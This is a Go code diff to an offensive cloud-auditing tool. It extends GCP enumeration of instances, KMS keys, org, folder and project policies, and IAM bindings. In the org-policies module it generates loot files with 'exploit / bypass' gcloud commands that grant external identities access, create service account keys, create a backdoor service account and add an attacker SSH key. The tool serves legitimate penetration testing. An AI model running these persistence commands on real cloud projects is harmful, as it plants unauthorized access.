iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range instances {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("instance", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
instances[i].IAMBindings = append(instances[i].IAMBindings, ComputeEngineService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check effective compute.requireOsLogin org policy for this project
|
||||
orgPolicySvc := orgpolicyservice.New()
|
||||
effectivePolicy, policyErr := orgPolicySvc.GetEffectivePolicy("project", projectID, "compute.requireOsLogin")
|
||||
osLoginPolicy := "Unknown"
|
||||
if policyErr == nil && effectivePolicy != nil && effectivePolicy.Enforced {
|
||||
osLoginPolicy = "Enforced"
|
||||
} else if policyErr == nil {
|
||||
osLoginPolicy = "Not Enforced"
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectInstances[projectID] = instances
|
||||
m.ProjectMetadata[projectID] = projectMeta
|
||||
m.ProjectOSLoginPolicy[projectID] = osLoginPolicy
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
@@ -672,7 +708,7 @@ func (m *InstancesModule) writeFlatOutput(ctx context.Context, logger internal.L
|
||||
// - Identity: Project, Name, Type, Zone, State, Machine Type
|
||||
// - Network: External IP, Internal IP, IP Forward
|
||||
// - Service Account: Service Account, SA Attack Paths, Scopes, Default SA, Broad Scopes
|
||||
// - Access Control: OS Login, OS Login 2FA, Block Proj Keys, Serial Port
|
||||
// - Access Control: OS Login, OS Login 2FA, OS Login Policy, Block Proj Keys, Serial Port
|
||||
// - Protection: Delete Protect, Last Snapshot
|
||||
// - Hardware Security: Shielded VM, Secure Boot, vTPM, Integrity, Confidential
|
||||
// - Disk Encryption: Encryption, KMS Key
|
||||
@@ -699,6 +735,7 @@ func (m *InstancesModule) getInstancesTableHeader() []string {
|
||||
// Access Control
|
||||
"OS Login",
|
||||
"OS Login 2FA",
|
||||
"OS Login Policy",
|
||||
"Block Proj Keys",
|
||||
"Serial Port",
|
||||
// Protection
|
||||
@@ -716,6 +753,7 @@ func (m *InstancesModule) getInstancesTableHeader() []string {
|
||||
// IAM
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -885,6 +923,12 @@ func (m *InstancesModule) instancesToTableBody(instances []ComputeEngineService.
|
||||
kmsKey = "-"
|
||||
}
|
||||
|
||||
// OS Login Policy display
|
||||
osLoginPolicy := "Unknown"
|
||||
if val, ok := m.ProjectOSLoginPolicy[instance.ProjectID]; ok {
|
||||
osLoginPolicy = val
|
||||
}
|
||||
|
||||
// Instance type for contextual display
|
||||
instType := instance.InstanceType
|
||||
if instType == "" {
|
||||
@@ -916,6 +960,7 @@ func (m *InstancesModule) instancesToTableBody(instances []ComputeEngineService.
|
||||
// Access Control
|
||||
shared.BoolToYesNo(instance.OSLoginEnabled),
|
||||
shared.BoolToYesNo(instance.OSLogin2FAEnabled),
|
||||
osLoginPolicy,
|
||||
shared.BoolToYesNo(instance.BlockProjectSSHKeys),
|
||||
shared.BoolToYesNo(instance.SerialPortEnabled),
|
||||
// Protection - Delete protection is NOT expected for managed instances (they're ephemeral)
|
||||
@@ -936,18 +981,20 @@ func (m *InstancesModule) instancesToTableBody(instances []ComputeEngineService.
|
||||
// If instance has IAM bindings, create one row per binding
|
||||
if len(instance.IAMBindings) > 0 {
|
||||
for _, binding := range instance.IAMBindings {
|
||||
row := make([]string, len(baseRow)+2)
|
||||
row := make([]string, len(baseRow)+3)
|
||||
copy(row, baseRow)
|
||||
row[len(baseRow)] = binding.Role
|
||||
row[len(baseRow)+1] = binding.Member
|
||||
row[len(baseRow)+2] = shared.BindingSource(binding.Source)
|
||||
body = append(body, row)
|
||||
}
|
||||
} else {
|
||||
// No IAM bindings - single row
|
||||
row := make([]string, len(baseRow)+2)
|
||||
row := make([]string, len(baseRow)+3)
|
||||
copy(row, baseRow)
|
||||
row[len(baseRow)] = "-"
|
||||
row[len(baseRow)+1] = "-"
|
||||
row[len(baseRow)+2] = "-"
|
||||
body = append(body, row)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"sync"
|
||||
|
||||
KMSService "github.com/BishopFox/cloudfox/gcp/services/kmsService"
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
@@ -184,6 +185,26 @@ func (m *KMSModule) processProject(ctx context.Context, projectID string, logger
|
||||
fmt.Sprintf("Could not enumerate KMS keys in project %s", projectID))
|
||||
}
|
||||
|
||||
// Inject inherited project-level IAM bindings into each key
|
||||
iamSvc := IAMService.New()
|
||||
projectPolicies, projErr := iamSvc.Policies(projectID, "project")
|
||||
if projErr == nil {
|
||||
for i := range keys {
|
||||
for _, pb := range projectPolicies {
|
||||
if !shared.IsInheritedRole("cryptoKey", pb.Role) {
|
||||
continue
|
||||
}
|
||||
for _, member := range pb.Members {
|
||||
keys[i].IAMBindings = append(keys[i].IAMBindings, KMSService.IAMBinding{
|
||||
Role: pb.Role,
|
||||
Member: member,
|
||||
Source: "Project",
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectKeyRings[projectID] = keyRings
|
||||
@@ -295,6 +316,7 @@ func (m *KMSModule) getKeysHeader() []string {
|
||||
"Public Decrypt",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
"Binding Source",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -341,6 +363,7 @@ func (m *KMSModule) keysToTableBody(keys []KMSService.CryptoKeyInfo) [][]string
|
||||
shared.BoolToYesNo(key.IsPublicDecrypt),
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
shared.BindingSource(binding.Source),
|
||||
})
|
||||
}
|
||||
} else {
|
||||
@@ -359,6 +382,7 @@ func (m *KMSModule) keysToTableBody(keys []KMSService.CryptoKeyInfo) [][]string
|
||||
shared.BoolToYesNo(key.IsPublicDecrypt),
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
+216
-46
@@ -1,13 +1,14 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
organizationsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
|
||||
orgpolicyservice "github.com/BishopFox/cloudfox/gcp/services/orgpolicyService"
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -23,6 +24,9 @@ var GCPOrgPoliciesCommand = &cobra.Command{
|
||||
Organization policies control security constraints across GCP resources. This module
|
||||
identifies policies that may be misconfigured or weakened, creating security risks.
|
||||
|
||||
Enumerates policies at organization, folder, and project levels. Org and folder level
|
||||
enumeration requires orgpolicy.policies.list at those scopes and is best-effort.
|
||||
|
||||
Security-Relevant Policies Analyzed:
|
||||
- Domain restrictions (iam.allowedPolicyMemberDomains)
|
||||
- Service account key controls (iam.disableServiceAccountKeyCreation)
|
||||
@@ -44,7 +48,9 @@ Risk Indicators:
|
||||
type OrgPoliciesModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectPolicies map[string][]orgpolicyservice.OrgPolicyInfo // projectID -> policies
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
OrgPolicies map[string][]orgpolicyservice.OrgPolicyInfo // orgID -> policies
|
||||
FolderPolicies map[string][]orgpolicyservice.OrgPolicyInfo // folderID -> policies
|
||||
LootMap map[string]map[string]*internal.LootFile // scopeID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
@@ -65,12 +71,18 @@ func runGCPOrgPoliciesCommand(cmd *cobra.Command, args []string) {
|
||||
module := &OrgPoliciesModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectPolicies: make(map[string][]orgpolicyservice.OrgPolicyInfo),
|
||||
OrgPolicies: make(map[string][]orgpolicyservice.OrgPolicyInfo),
|
||||
FolderPolicies: make(map[string][]orgpolicyservice.OrgPolicyInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Enumerate org-level and folder-level policies (best-effort)
|
||||
m.enumerateOrgAndFolderPolicies(logger)
|
||||
|
||||
// Enumerate project-level policies
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ORGPOLICIES_MODULE_NAME, m.processProject)
|
||||
|
||||
allPolicies := m.getAllPolicies()
|
||||
@@ -83,8 +95,91 @@ func (m *OrgPoliciesModule) Execute(ctx context.Context, logger internal.Logger)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) enumerateOrgAndFolderPolicies(logger internal.Logger) {
|
||||
orgSvc := organizationsservice.New()
|
||||
policySvc := orgpolicyservice.New()
|
||||
|
||||
// Discover organizations
|
||||
orgs, err := orgSvc.SearchOrganizations()
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM("Could not enumerate organizations (may lack permissions)", globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
} else {
|
||||
for _, org := range orgs {
|
||||
orgID := strings.TrimPrefix(org.Name, "organizations/")
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating org policies for organization: %s (%s)", org.DisplayName, orgID), globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
|
||||
policies, err := policySvc.ListOrganizationPolicies(orgID, org.DisplayName)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ORGPOLICIES_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate org policies for organization %s", orgID))
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.OrgPolicies[orgID] = policies
|
||||
m.initLootForScope(orgID)
|
||||
for _, policy := range policies {
|
||||
m.addPolicyToLoot(orgID, policy)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if len(policies) > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d org-level policy(ies) for organization %s", len(policies), org.DisplayName), globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Discover folders
|
||||
folders, err := orgSvc.SearchAllFolders()
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM("Could not enumerate folders (may lack permissions)", globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
} else {
|
||||
for _, folder := range folders {
|
||||
folderID := strings.TrimPrefix(folder.Name, "folders/")
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating org policies for folder: %s (%s)", folder.DisplayName, folderID), globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
|
||||
policies, err := policySvc.ListFolderPolicies(folderID, folder.DisplayName)
|
||||
if err != nil {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_ORGPOLICIES_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate org policies for folder %s", folderID))
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.FolderPolicies[folderID] = policies
|
||||
m.initLootForScope(folderID)
|
||||
for _, policy := range policies {
|
||||
m.addPolicyToLoot(folderID, policy)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if len(policies) > 0 {
|
||||
logger.SuccessM(fmt.Sprintf("Found %d folder-level policy(ies) for folder %s", len(policies), folder.DisplayName), globals.GCP_ORGPOLICIES_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) getAllPolicies() []orgpolicyservice.OrgPolicyInfo {
|
||||
var all []orgpolicyservice.OrgPolicyInfo
|
||||
for _, policies := range m.OrgPolicies {
|
||||
all = append(all, policies...)
|
||||
}
|
||||
for _, policies := range m.FolderPolicies {
|
||||
all = append(all, policies...)
|
||||
}
|
||||
for _, policies := range m.ProjectPolicies {
|
||||
all = append(all, policies...)
|
||||
}
|
||||
@@ -97,13 +192,7 @@ func (m *OrgPoliciesModule) processProject(ctx context.Context, projectID string
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["orgpolicies-commands"] = &internal.LootFile{
|
||||
Name: "orgpolicies-commands",
|
||||
Contents: "# Organization Policy Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.initLootForScope(projectID)
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := orgpolicyservice.New()
|
||||
@@ -115,6 +204,11 @@ func (m *OrgPoliciesModule) processProject(ctx context.Context, projectID string
|
||||
return
|
||||
}
|
||||
|
||||
// Set ScopeName from project name map
|
||||
for i := range policies {
|
||||
policies[i].ScopeName = m.GetProjectName(projectID)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectPolicies[projectID] = policies
|
||||
for _, policy := range policies {
|
||||
@@ -123,8 +217,18 @@ func (m *OrgPoliciesModule) processProject(ctx context.Context, projectID string
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyservice.OrgPolicyInfo) {
|
||||
lootFile := m.LootMap[projectID]["orgpolicies-commands"]
|
||||
func (m *OrgPoliciesModule) initLootForScope(scopeID string) {
|
||||
if m.LootMap[scopeID] == nil {
|
||||
m.LootMap[scopeID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[scopeID]["orgpolicies-commands"] = &internal.LootFile{
|
||||
Name: "orgpolicies-commands",
|
||||
Contents: "# Organization Policy Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) addPolicyToLoot(scopeID string, policy orgpolicyservice.OrgPolicyInfo) {
|
||||
lootFile := m.LootMap[scopeID]["orgpolicies-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
@@ -134,13 +238,19 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
constraintName = strings.TrimPrefix(constraintName, "constraints/")
|
||||
}
|
||||
|
||||
// Scope label for loot comments
|
||||
scopeLabel := fmt.Sprintf("%s: %s", policy.ScopeType, policy.ScopeID)
|
||||
if policy.ScopeName != "" {
|
||||
scopeLabel = fmt.Sprintf("%s: %s (%s)", policy.ScopeType, policy.ScopeName, policy.ScopeID)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# CONSTRAINT: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n",
|
||||
"# Scope: %s\n",
|
||||
policy.Constraint,
|
||||
policy.ProjectID,
|
||||
scopeLabel,
|
||||
)
|
||||
|
||||
if policy.Description != "" {
|
||||
@@ -162,22 +272,56 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
lootFile.Contents += fmt.Sprintf("# Denied Values: %s\n", strings.Join(policy.DeniedValues, ", "))
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"\n# === ENUMERATION COMMANDS ===\n\n"+
|
||||
// Build enumeration commands based on scope type
|
||||
lootFile.Contents += "\n# === ENUMERATION COMMANDS ===\n\n"
|
||||
switch policy.ScopeType {
|
||||
case "organization":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe this policy:\n"+
|
||||
"gcloud org-policies describe %s --project=%s\n\n"+
|
||||
"# Get effective policy (includes inheritance):\n"+
|
||||
"gcloud org-policies describe %s --project=%s --effective\n\n"+
|
||||
"# List all constraints for this project:\n"+
|
||||
"gcloud org-policies list --project=%s\n\n",
|
||||
constraintName, policy.ProjectID,
|
||||
constraintName, policy.ProjectID,
|
||||
policy.ProjectID,
|
||||
)
|
||||
"gcloud org-policies describe %s --organization=%s\n\n"+
|
||||
"# Get effective policy (includes inheritance):\n"+
|
||||
"gcloud org-policies describe %s --organization=%s --effective\n\n"+
|
||||
"# List all constraints for this organization:\n"+
|
||||
"gcloud org-policies list --organization=%s\n\n",
|
||||
constraintName, policy.ScopeID,
|
||||
constraintName, policy.ScopeID,
|
||||
policy.ScopeID,
|
||||
)
|
||||
case "folder":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe this policy:\n"+
|
||||
"gcloud org-policies describe %s --folder=%s\n\n"+
|
||||
"# Get effective policy (includes inheritance):\n"+
|
||||
"gcloud org-policies describe %s --folder=%s --effective\n\n"+
|
||||
"# List all constraints for this folder:\n"+
|
||||
"gcloud org-policies list --folder=%s\n\n",
|
||||
constraintName, policy.ScopeID,
|
||||
constraintName, policy.ScopeID,
|
||||
policy.ScopeID,
|
||||
)
|
||||
default: // project
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Describe this policy:\n"+
|
||||
"gcloud org-policies describe %s --project=%s\n\n"+
|
||||
"# Get effective policy (includes inheritance):\n"+
|
||||
"gcloud org-policies describe %s --project=%s --effective\n\n"+
|
||||
"# List all constraints for this project:\n"+
|
||||
"gcloud org-policies list --project=%s\n\n",
|
||||
constraintName, policy.ScopeID,
|
||||
constraintName, policy.ScopeID,
|
||||
policy.ScopeID,
|
||||
)
|
||||
}
|
||||
|
||||
// Exploit/bypass commands based on specific constraint types
|
||||
lootFile.Contents += "# === EXPLOIT / BYPASS COMMANDS ===\n\n"
|
||||
|
||||
// For exploit commands, use project ID if available, otherwise use scope ID
|
||||
targetProject := policy.ProjectID
|
||||
if targetProject == "" {
|
||||
targetProject = "<PROJECT_ID>"
|
||||
}
|
||||
|
||||
switch constraintName {
|
||||
case "iam.allowedPolicyMemberDomains":
|
||||
if policy.AllowAll {
|
||||
@@ -185,7 +329,7 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Grant access to external identity:\n"+
|
||||
"gcloud projects add-iam-policy-binding %s --member=user:[email protected] --role=roles/viewer\n\n",
|
||||
policy.ProjectID,
|
||||
targetProject,
|
||||
)
|
||||
} else if !policy.Enforced {
|
||||
lootFile.Contents += "# [FINDING] Domain restriction is NOT ENFORCED\n\n"
|
||||
@@ -196,7 +340,7 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
lootFile.Contents += "# [FINDING] SA key creation is NOT restricted - create keys for persistence:\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud iam service-accounts keys create /tmp/sa-key.json --iam-account=SA_EMAIL@%s.iam.gserviceaccount.com\n\n",
|
||||
policy.ProjectID,
|
||||
targetProject,
|
||||
)
|
||||
} else {
|
||||
lootFile.Contents += "# SA key creation is restricted - try alternative persistence methods:\n" +
|
||||
@@ -209,7 +353,7 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
lootFile.Contents += "# [FINDING] SA creation is NOT restricted - create backdoor service accounts:\n"
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"gcloud iam service-accounts create cloudfox-backdoor --display-name='System Service' --project=%s\n\n",
|
||||
policy.ProjectID,
|
||||
targetProject,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -225,7 +369,7 @@ func (m *OrgPoliciesModule) addPolicyToLoot(projectID string, policy orgpolicyse
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Add SSH key to project metadata:\n"+
|
||||
"gcloud compute project-info add-metadata --metadata=ssh-keys=\"attacker:ssh-rsa AAAA...\" --project=%s\n\n",
|
||||
policy.ProjectID,
|
||||
targetProject,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -283,8 +427,9 @@ func (m *OrgPoliciesModule) writeOutput(ctx context.Context, logger internal.Log
|
||||
|
||||
func (m *OrgPoliciesModule) getHeader() []string {
|
||||
return []string{
|
||||
"Project Name",
|
||||
"Project ID",
|
||||
"Scope Type",
|
||||
"Scope ID",
|
||||
"Scope Name",
|
||||
"Constraint",
|
||||
"Description",
|
||||
"Enforced",
|
||||
@@ -314,9 +459,15 @@ func (m *OrgPoliciesModule) policiesToTableBody(policies []orgpolicyservice.OrgP
|
||||
deniedValues = strings.Join(policy.DeniedValues, ", ")
|
||||
}
|
||||
|
||||
scopeName := policy.ScopeName
|
||||
if scopeName == "" {
|
||||
scopeName = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(policy.ProjectID),
|
||||
policy.ProjectID,
|
||||
policy.ScopeType,
|
||||
policy.ScopeID,
|
||||
scopeName,
|
||||
policy.Constraint,
|
||||
description,
|
||||
shared.BoolToYesNo(policy.Enforced),
|
||||
@@ -330,9 +481,9 @@ func (m *OrgPoliciesModule) policiesToTableBody(policies []orgpolicyservice.OrgP
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
func (m *OrgPoliciesModule) buildTablesForScope(scopeID string, policies []orgpolicyservice.OrgPolicyInfo) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
if policies, ok := m.ProjectPolicies[projectID]; ok && len(policies) > 0 {
|
||||
if len(policies) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "orgpolicies",
|
||||
Header: m.getHeader(),
|
||||
@@ -342,24 +493,43 @@ func (m *OrgPoliciesModule) buildTablesForProject(projectID string) []internal.T
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) collectLootForScope(scopeID string) []internal.LootFile {
|
||||
var lootFiles []internal.LootFile
|
||||
if scopeLoot, ok := m.LootMap[scopeID]; ok {
|
||||
for _, loot := range scopeLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
return lootFiles
|
||||
}
|
||||
|
||||
func (m *OrgPoliciesModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
FolderLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectPolicies {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
// Org-level data
|
||||
for orgID, policies := range m.OrgPolicies {
|
||||
tableFiles := m.buildTablesForScope(orgID, policies)
|
||||
lootFiles := m.collectLootForScope(orgID)
|
||||
outputData.OrgLevelData[orgID] = OrgPoliciesOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
// Folder-level data
|
||||
for folderID, policies := range m.FolderPolicies {
|
||||
tableFiles := m.buildTablesForScope(folderID, policies)
|
||||
lootFiles := m.collectLootForScope(folderID)
|
||||
outputData.FolderLevelData[folderID] = OrgPoliciesOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
// Project-level data
|
||||
for projectID, policies := range m.ProjectPolicies {
|
||||
tableFiles := m.buildTablesForScope(projectID, policies)
|
||||
lootFiles := m.collectLootForScope(projectID)
|
||||
outputData.ProjectLevelData[projectID] = OrgPoliciesOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
@@ -384,8 +554,8 @@ func (m *OrgPoliciesModule) writeFlatOutput(ctx context.Context, logger internal
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
for _, scopeLoot := range m.LootMap {
|
||||
for _, loot := range scopeLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
|
||||
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
|
||||
orgsservice "github.com/BishopFox/cloudfox/gcp/services/organizationsService"
|
||||
resourceiamservice "github.com/BishopFox/cloudfox/gcp/services/resourceIAMService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
@@ -386,6 +387,138 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate SA-level IAM bindings (resource-level permissions on service accounts)
|
||||
saList, saErr := iamService.ServiceAccountsBasic(projectID)
|
||||
if saErr == nil {
|
||||
saCtx := context.Background()
|
||||
saBindingCount := 0
|
||||
for _, sa := range saList {
|
||||
saBindings, err := iamService.GetServiceAccountIAMBindings(saCtx, sa.Email, projectID)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, binding := range saBindings {
|
||||
// Get permissions for this role
|
||||
permissions, err := iamService.GetRolePermissions(saCtx, binding.Role)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, member := range binding.Members {
|
||||
memberType := IAMService.GetMemberType(member)
|
||||
memberEmail := extractMemberEmail(member)
|
||||
|
||||
for _, perm := range permissions {
|
||||
isHighPriv := isHighPrivilegePermission(perm)
|
||||
|
||||
exploded := ExplodedPermission{
|
||||
Entity: member,
|
||||
EntityType: memberType,
|
||||
EntityEmail: memberEmail,
|
||||
Permission: perm,
|
||||
Role: binding.Role,
|
||||
RoleType: IAMService.GetRoleType(binding.Role),
|
||||
ResourceScope: fmt.Sprintf("serviceAccount/%s", sa.Email),
|
||||
ResourceScopeType: "serviceAccount",
|
||||
ResourceScopeID: sa.Email,
|
||||
ResourceScopeName: sa.Email,
|
||||
IsInherited: false,
|
||||
HasCondition: binding.HasCondition,
|
||||
EffectiveProject: projectID,
|
||||
ProjectName: m.GetProjectName(projectID),
|
||||
IsHighPrivilege: isHighPriv,
|
||||
}
|
||||
|
||||
if binding.ConditionInfo != nil {
|
||||
exploded.ConditionTitle = binding.ConditionInfo.Title
|
||||
exploded.Condition = binding.ConditionInfo.Title
|
||||
}
|
||||
|
||||
// Detect cross-project access
|
||||
if memberType == "ServiceAccount" {
|
||||
saProject := extractProjectFromPrincipal(memberEmail, m.OrgCache)
|
||||
if saProject != "" && saProject != projectID {
|
||||
exploded.IsCrossProject = true
|
||||
exploded.SourceProject = saProject
|
||||
}
|
||||
}
|
||||
|
||||
projectPerms = append(projectPerms, exploded)
|
||||
saBindingCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if saBindingCount > 0 && globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerated %d SA-level permission entries across %d service account(s)", saBindingCount, len(saList)), globals.GCP_PERMISSIONS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate resource-level IAM bindings (buckets, datasets, secrets, KMS, functions, Cloud Run, instances)
|
||||
resourceIAMSvc := resourceiamservice.New()
|
||||
resourceBindings, resourceErr := resourceIAMSvc.GetAllResourceIAM(ctx, projectID)
|
||||
if resourceErr == nil && len(resourceBindings) > 0 {
|
||||
resCtx := context.Background()
|
||||
resourcePermCount := 0
|
||||
for _, rb := range resourceBindings {
|
||||
// Skip serviceAccount type here since we already handled it above
|
||||
if rb.ResourceType == "serviceAccount" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Get permissions for this role
|
||||
permissions, err := iamService.GetRolePermissions(resCtx, rb.Role)
|
||||
if err != nil {
|
||||
continue
